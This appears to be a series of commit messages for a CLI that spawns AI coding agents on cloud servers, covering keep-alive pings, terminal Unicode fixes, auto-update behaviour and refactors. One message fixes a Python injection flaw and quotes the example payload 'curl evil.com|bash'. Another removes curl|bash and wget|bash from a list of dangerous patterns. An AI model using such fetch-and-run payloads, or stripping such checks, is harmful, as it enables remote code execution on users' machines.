Prevents hangs by adding cleanup traps, structured timeouts with grace
periods, prompt file management, persistent logging, checkpoint creation,
and explicit lifecycle/shutdown instructions in the agent prompt.

Sprite pauses VMs when there's no HTTP activity. During long claude API
calls, the trigger server receives no requests, causing the VM to freeze
mid-cycle. This adds a background loop that pings localhost:8080/health
every 30s to maintain HTTP activity throughout the cycle.

When users type "spawn sprite claude" instead of "spawn claude sprite",
the CLI now detects the swap and suggests the correct order instead of
showing a confusing "Unknown agent" error. Also fixes grammar in
"spawn agents" and "spawn clouds" output (1 cloud vs 1 clouds).

The create_vm function interpolated $environment (HYPERSTACK_ENVIRONMENT
env var or user prompt) and $image (HYPERSTACK_IMAGE env var) directly
into Python code using single-quote string literals. An attacker who
controls these env vars could break out of the string and execute
arbitrary Python code (e.g., os.system('curl evil.com|bash')).
Fix: Pass all values via stdin to Python instead of shell interpolation.
This eliminates the injection vector entirely, matching the pattern used
to fix similar issues in other providers (Scaleway, UpCloud, etc.).

Break down the two longest create_server functions (104 and 102 lines)
into focused sub-functions for readability and reusability:
Scaleway (104 -> 53 lines):
- Extract _scaleway_extract_ip() for IP parsing from server response
- Extract _scaleway_power_on_and_wait() for power-on + polling loop
Fly.io (102 -> 14 lines):
- Extract _fly_create_app() for app creation with "already exists" handling
- Extract _fly_create_and_start_machine() for machine lifecycle
Also fix ((attempt++)) to attempt=$((attempt + 1)) in Fly.io to avoid
potential set -e failures when attempt is 0.

The compareVersions function decides whether auto-update runs, but had
no direct test coverage. Tests cover: basic comparisons, precedence
ordering (major > minor > patch), missing/extra segments, zero and
boundary versions, non-numeric input handling, parseSemver helper,
realistic spawn version scenarios, and full checkForUpdates integration
with edge-case version strings.

The spawn scripts themselves use curl|bash to install agents (e.g.
Claude Code). The validateScriptContent check was blocking our own
legitimate scripts. Removed curl|bash and wget|bash from the
dangerous patterns list since the scripts are already fetched from
our trusted GitHub repo.

Root cause: Bun has a known bug (oven-sh/bun#25767) where --target=node
causes UTF-8 string literals to be double-encoded as Latin-1, producing
mojibake (â instead of ◆/│/✔). Switching to --target=bun avoids this
encoding path entirely.
Also removes the ineffective stdout.write monkey-patch that was
attempting to work around this issue.

Explicitly convert string chunks to Buffer.from(chunk, 'utf8') before
writing to process.stdout. This fixes UTF-8 mojibake (â instead of ◆/│)
seen in some Bun + terminal combinations (e.g. Ghostty on macOS) where
process.stdout.write(string) doesn't encode as UTF-8 by default.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Added explicit LANG=en_US.UTF-8 and stdout.setEncoding('utf8')
when Unicode mode is enabled. This should prevent UTF-8 mojibake
(â appearing instead of ◆) in terminals like Ghostty.

Adds debug logging to unicode-detect.ts to help troubleshoot why
Unicode rendering isn't working in Ghostty terminal. When SPAWN_DEBUG=1
is set, the CLI will show:
- Current TERM value (e.g., xterm-ghostty)
- SSH environment variables (SSH_CONNECTION, SSH_CLIENT, SSH_TTY)
- Whether ASCII mode is being forced
This will help identify if SSH detection is incorrectly triggering
ASCII fallback for local Ghostty sessions.
Usage: SPAWN_DEBUG=1 spawn list

Reverses the overly conservative ASCII-only approach. Now defaults to
Unicode (beautiful spinners, checkmarks, symbols) on local macOS
Terminal, iTerm2, and modern Linux terminals, while still forcing
ASCII fallback for problematic environments:
- SSH sessions (encoding mismatches)
- Dumb terminals (TERM=dumb)
- Users can override with SPAWN_UNICODE=1 or SPAWN_NO_UNICODE=1
This fixes rendering issues while maintaining compatibility across
all environments.

- Set both TERM=linux and CI=true in unicode-detect.ts

- Bumped CLI version from 0.2.4 to 0.2.5
- Added rule to CLAUDE.md: ANY change to cli/ requires a version bump
- Uses semantic versioning (patch for fixes, minor for features, major for breaking)
- Auto-update ensures users get latest version immediately

- Changed update banner to use +, -, | instead of Unicode box characters
- Replaced arrow (→) with ASCII arrow (->)
- Changed p.cancel() to plain console.error to avoid Unicode bullet
- Ensures clean rendering on all terminals regardless of Unicode support

- Removed CHECK_INTERVAL and cache-based update checking
- Now fetches latest version on every spawn invocation
- 5-second timeout keeps it fast
- Simplified tests to match new behavior (8 tests instead of 12)
- Users who don't want update checks can set SPAWN_NO_UPDATE_CHECK=1
This ensures users always get the latest version immediately when available.

- Changed unicode detection to default to ASCII mode (TERM=linux)
- Users can opt-in to unicode with SPAWN_UNICODE=1
- Auto-detects SSH sessions and forces ASCII (common rendering issues)
- Fixes bullet point display issues in interactive selectors

To force ASCII: export SPAWN_ASCII=1 (or SPAWN_NO_UNICODE=1)

- Eliminates need to maintain version in two places

Changes:
- Bumped version from 0.1.0 to 0.2.0
- Changed update-check mechanism to auto-install updates instead of just notifying
- checkForUpdates() now blocks and runs install.sh automatically when update is available
- Added executor wrapper for testability of execSync calls
- Updated all tests to mock executor.execSync instead of child_process.execSync
- Auto-update runs on every spawn invocation (24-hour cache prevents excessive checks)
- On update failure, shows error message but continues with original command

Implements a non-intrusive update notification system that:
- Checks for new versions once per day
- Shows a styled notification when updates are available
- Stores check results in cache to minimize network requests
- Can be disabled with SPAWN_NO_UPDATE_CHECK=1
Implementation:
- New update-check.ts module with background version checking
- Comprehensive test suite (16 tests) covering all scenarios
- Integrated into main CLI entry point
- Updated documentation in README.md

The 663-line bash CLI (spawn.sh) has drifted from the TypeScript CLI,
missing --prompt, security validation, download fallback, and other
features. Rather than maintaining two implementations, the installer
now auto-installs bun (~5 seconds) when it's not present, ensuring
every user gets the full-featured TypeScript CLI.
- Remove cli/spawn.sh (663 lines)
- Simplify install.sh: remove npm method, add bun auto-install
- Extract build_and_install() helper to deduplicate build logic
- Update cli/README.md and CLAUDE.md to reflect bun-only strategy
